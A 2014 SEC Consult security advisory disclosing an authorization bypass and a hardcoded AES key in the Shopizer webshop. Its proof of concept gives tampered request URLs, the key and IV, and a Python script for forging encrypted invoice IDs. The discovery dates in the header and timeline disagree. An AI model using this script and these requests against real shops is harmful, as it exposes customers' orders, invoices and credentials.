SEC Consult Vulnerability Lab Security Advisory < 20140710-1 >
=======================================================================
              title: Multiple high risk vulnerabilities in Shopizer webshop
            product: Shopizer
 vulnerable version: 1.1.5 and below
      fixed version: v2 (new codebase)
             impact: high
           homepage: https://www.shopizer.com/
              found: 2012-09-04
                 by: K. Gudinavicius
                     SEC Consult Vulnerability Lab
                     https://www.sec-consult.com
=======================================================================

Vendor description:
-------------------
Shopizer is an open source java shopping cart and e-commerce content
management software (CMS). The system is built on Struts 2, Hibernate and
Spring. JQuery ui and ajax are heavily used on the ui as well as DWR and
Struts2-jQuery plug-in. (https://www.shopizer.com/)



Vulnerability overview/description:
-----------------------------------
Shopizer is prone to the following high risk vulnerabilities:

1) Authentication/authorization bypass

The authentication and authorization mechanism provided by the web application
is prone to an authentication/authorization bypass vulnerability, which can be
easily exploited by remote attackers for gaining access to private
information. Malicious actions can be performed by directly calling internal
methods which are supposed to be accessed only by authenticated and permitted
users.


2) Hardcoded default encryption key

A default encryption key is used across all versions of the Shopizer. It can't
be changed, for example, by editing a configuration file, because it's
hardcoded in the source code of the web application. The default encryption
key can be used to encrypt special values allowing access to the sensitive
information.



Proof of concept:
-----------------
1) Authentication/authorization bypass

The viewFiles method is vulnerable to authentication bypass. By changing the
value of the orderId parameter (e.g. by incrementing it) it is possible to
access and download ordered files of other users. This means that a malicious
user can completely bypass the checkout process and even he doesn't need an
account in order to gain access to the data that is sold on the target
website. In the following example files of the order with the ID 61 will be
accessed.

        /shop/checkout/viewFiles.action?orderId=61

The removeReview method is vulnerable to authorization bypass. An
authenticated user can remove arbitrary product reviews by changing the value
of the reviewId parameter (e.g. by incrementing it). The following URL will
remove the product review with the ID 398.

        /shop/profile/removeReview.action?reviewId=398


2) Hardcoded default encryption key

The hardcoded default encryption key is 1000000000000000
(SecurityConstants.java) and the default initialization vector is
fedcba9876543210 (EncryptionUtil.java). Both values were extracted from the
publicly available versions of the Shopizer. The following is the source code
of a Python script that can be used to decrypt and encrypt arbitrary values by
using the extracted keys.

from Crypto.Cipher import AES
from binascii import unhexlify
import sys

mode = AES.MODE_CBC
size = AES.block_size

pad = lambda s: s + (size - len(s) % size) * chr(size - len(s) % size)

def decrypt(ciphertext):
    ciphertext=unhexlify(ciphertext)
    decryptor = AES.new('1000000000000000', mode,'fedcba9876543210')
    plain = decryptor.decrypt(ciphertext)
    print repr(plain)

def encrypt(plaintext):
    sample=pad(plaintext)
    encryptor = AES.new('1000000000000000', mode,'fedcba9876543210')
    plain = encryptor.encrypt(sample)
    print plain.encode('hex')

if __name__=='__main__':
    if len(sys.argv)<3:
        print "Usage: %s encrypt|decrypt text" % sys.argv[0]
        sys.exit(1)
    elif sys.argv[1]=='decrypt':
        decrypt(sys.argv[2])
    elif sys.argv[1]=='encrypt':
        encrypt(sys.argv[2])

The tool can be used to gain access to the invoices of other users. The
prepareSimpleInvoice action takes encrypted value of the order number that is
incremental. For example, to gain access to the invoice of the 57 order the
57|0 string must be encrypted:

C:\>python aes.py encrypt "57|0"
0664567580f32d3398a981cf51285057

The encrypted string is then used as a value for the fileId parameter of the
following URL:

        /shop/cart/prepareSimpleInvoice.action?fileId=0664567580f32d3398a981cf51285057

Other parts of the web application such as passwords and ordered files also
depend on the same encryption keys. If an attacker is able to gain access to
the database where encrypted user credentials are stored, he can easily
decrypt and use them in the further attacks.



Vulnerable / tested versions:
-----------------------------
The vulnerabilities have been verified to exist in version 1.1.5 of Shopizer,
which is the most recent version at the time of discovery.



Vendor contact timeline:
------------------------
2012-01-10: The vulnerabilities have been found during a short blackbox test
            of a shopizer installation during a customer project
2012-12-20: Customer allows contacting vendor
2013-01-10: Contacting vendor through support@shopizer.com, fast reply,
            sending advisory
2013-01-22: Asking for status update, reply: vendor takes a look
2013-02-26: Asking for status update, vendor has some questions regarding
            version numbers
2013-03-22: Asking for status update again
2013-03-23: Vendor: Release 2 is scheduled for June
2013-06-25: Asking for status update, no answer
2013-07-01: Sending deadline for advisory release
2013-07-07: Vendor: Version 2 of shopizer delayed
2013-07-08: Asking for new release date
2013-07-09: Vendor: moving from Struts to Spring & Spring security
2013-10-03: Asking again for release date
2013-10-06: Vendor: Release shortly
2013-12-10: Asking for update
2013-12-12: Vendor: Release date set for January 2014
2014-06: Vendor releases v2
2014-07-10: SEC Consult releases security advisory



Solution:
---------
Using the old version branch 1.x is not recommended as there are no security
fixes implemented by the vendor.

Version 2 has been released by the vendor, but it has not been tested by SEC Consult
and it is unclear whether the issues have been solved.


Workaround:
-----------
-


Advisory URL:
-------------
https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC Consult Vulnerability Lab

SEC Consult
Vienna - Bangkok - Frankfurt/Main - Montreal - Singapore - Vilnius

Headquarter:
Mooslackengasse 17, 1190 Vienna, Austria
Phone:   +43 1 8903043 0
Fax:     +43 1 8903043 15

Mail: research at sec-consult dot com
Web: https://www.sec-consult.com
Blog: https://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult

EOF K. Gudinavicius / @2012, 2013, 2014